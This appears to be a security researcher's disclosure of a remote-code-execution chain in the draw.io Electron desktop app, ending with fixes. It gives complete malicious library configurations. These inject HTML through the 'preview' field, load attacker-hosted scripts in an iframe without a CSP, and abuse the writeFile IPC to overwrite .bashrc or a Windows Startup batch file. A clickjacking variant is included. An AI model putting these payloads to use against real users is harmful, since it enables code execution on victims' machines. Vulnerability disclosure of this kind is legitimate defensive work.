The user must load the malicious configuration and click on the buttons.
ย
This exploitation relies on several issues which chained together lead to an RCE. In the following subsection, I will try to explain it as best I can.
ย
In the configuration JSON, there is a lot of parameters that can be set to custom the project page. In all them, the libraries
parameter allows to add now library
to load in the application. In a library
object it is possible set a preview
value which is reflected without sanitization in the DOM. (vulnerable code here)
{
"enabledLibraries": [],
"libraries": [
{
"title": {
"main": "Libraries"
},
"entries": [
{
"id": "lib1",
"preview": "\"><img src>",
"title": {
"main": "Library",
"fr": "lib1"
},
"libs": []
}
]
}
]
}
Loading this configuration and clicking on +More Shapes
will result in:
The previous JSON wonโt trigger an XSS because the CSP isnโt bypassed yet.
ย
Because the desktop client and the web application havenโt the same configuration, the Content Security Policy
(CSP) is added dynamically depending on the context. For the desktop app, the process is the following:
var mxIsElectron = window && window.process && window.process.type;
if (mxIsElectron)
{
mxmeta(null, 'default-src \'self\' \'unsafe-inline\'; connect-src \'self\' https://*.draw.io https://fonts.googleapis.com https://fonts.gstatic.com; img-src * data:; media-src *; font-src *; style-src-elem \'self\' \'unsafe-inline\' https://fonts.googleapis.com', 'Content-Security-Policy');
}
As we can see, in case mxIsElectron
is not defined, no CSP will be set. Therefore, in a subframe context (ie: iframe) of an election application, the window.process
is not defined. So, loading the index.html
again in an iframe
using the previous HTML injection, will result in a context without CSP
.
ย
Finally, clicking on +More Shapes
again will trigger the HTML injection one more time but without restriction wich leads to XSS
.
{
"enabledLibraries": [],
"libraries": [
{
"title": {
"main": "Libraries"
},
"entries": [
{
"id": "lib1",
"preview": "\"><style>.geDialog{height:600px !important}</style><iframe src=\"./index.html\" width=\"100%\" height=\"500\" frameBorder=\"0\"></iframe><iframe srcdoc='<script src=\"https://mizu.re/bb/xss.js\"></script>' hidden></iframe>",
"title": {
"main": "Library",
"fr": "lib1"
},
"libs": []
}
]
}
]
}
Loading the previous configuration an clicking on +More Shapes
two times leads to:
ย
Because the getDocumentsFolder ipc exists, it is possible to retrieve the current home user path for all distribution. This is really dangerous as it allow to know where to write in case of file write vulnerability.
electron.request({ action: "getDocumentsFolder" }, (d) => {
var home = d;
home = home.replace("OneDrive\\Documents", ""); // Windows
home = home.replace("Documents", ""); // Linux & Windows
console.log(home);
})
ย
In addition, the writeFile IPC can be abused thanks to type jungling, making it possible to generate polymorphic
files (ie: .js/.sh/.bat/...
).
function checkFileContent(body, enc)
{
...
if (enc == 'base64')
async function writeFile(path, data, enc)
{
if (!checkFileContent(data, enc))
{
throw new Error('Invalid file data');
}
else
{
return await fsProm.writeFile(path, data, enc);
}
};
This is due to the fact that checkFileContent
will treat [base64]
as base64 content and check only the first 22 bytes
while fsProm.writeFile
will consider it as invalid and use UTF-8
instead.
Using the following bug, it is possible to write valid .bashrc
file using the following call:
const payload = "PGh0bWxYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhY=1;nautilus";
electron.request({
action: "writeFile",
path: "/home/user/.bashrc",
data: payload,
enc: ["base64"] // type jungling
}, (d) => {}, "")
ย
Using the previously explained issues, it is possible to overwrite sensitive file which are automatically executed depending on the current operating system. For example:
Linux
: /home/<user>/.bashrc
-> executed when opening a terminal.Windows
: C:\Users\%USER%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\rce.bat
-> executed when windows start.ย
As this bug can be exploited on all distribution, in the following subsection, Iโll give a basic exploitation on Windows
and another more sophisticated using clickjacking on Linux
.
ย
Configuration
{
"enabledLibraries": [],
"libraries": [
{
"title": {
"main": "Libraries"
},
"entries": [
{
"id": "lib1",
"preview": "\"><style>.geDialog{height:600px !important}</style><iframe src=\"./index.html\" width=\"100%\" height=\"500\" frameBorder=\"0\"></iframe><iframe srcdoc='<script src=\"https://mizu.re/PoC/drawio/rce-windows-3.js\"></script>' hidden></iframe>",
"title": {
"main": "Library",
"fr": "lib1"
},
"libs": []
}
]
}
]
}
Javascript file
(hosted on my website)const payload = "PGh0bWxYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhY=1\ncalc.exe";
const electron = top.electron; // mandatory to retrieve the electron object in the subframe
electron.request({ action: "getDocumentsFolder" }, (d) => {
var home = d;
home = home.replace("OneDrive\\Documents", ""); // Windows
home = home.replace("Documents", ""); // Linux & Windows
const bashrc = `${home}AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\rce.bat`
electron.request({
action: "writeFile",
path: bashrc,
data: payload,
enc: ["base64"] // type jungling
}, (d) => {}, "")
})
ย
Configuration
{
"enabledLibraries": [],
"libraries": [
{
"title": {
"main": "Libraries"
},
"entries": [
{
"id": "lib1",
"preview": "\"><style>.geDialog{height:600px !important}</style><div><h2>Dynamic library below, click on the following buttons!</h2></div><button style=\"position:absolute;top:265px;left:60px\" class=\"geBtn gePrimaryBtn\">2</button><button style=\"position:absolute;left:205px;top:390px;\" class=\"geBtn gePrimaryBtn\">1</button><iframe style=\"opacity: 0;position:absolute;top:0;left:0\" src=\"./index.html\" width=\"100%\" height=\"500\" frameBorder=\"0\"></iframe><iframe srcdoc='<script src=\"https://mizu.re/PoC/drawio/rce-linux-3.js\"></script>' hidden></iframe>",
"title": {
"main": "Library",
"fr": "lib1"
},
"libs": []
}
]
}
]
}
Javascript file
(hosted on my website)const payload = "PGh0bWxYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhY=1;nautilus";
const electron = top.electron; // mandatory to retrieve the electron object in the subframe
electron.request({ action: "getDocumentsFolder" }, (d) => {
var home = d;
home = home.replace("Documents", "");
const bashrc = `${home}.bashrc`
electron.request({
action: "writeFile",
path: bashrc,
data: payload,
enc: ["base64"] // type jungling
}, (d) => {}, "")
})
ย
1. Sanitize the preview
value.
2. Add a default CSP in case no context match.
3. Use three =
for the enc
value.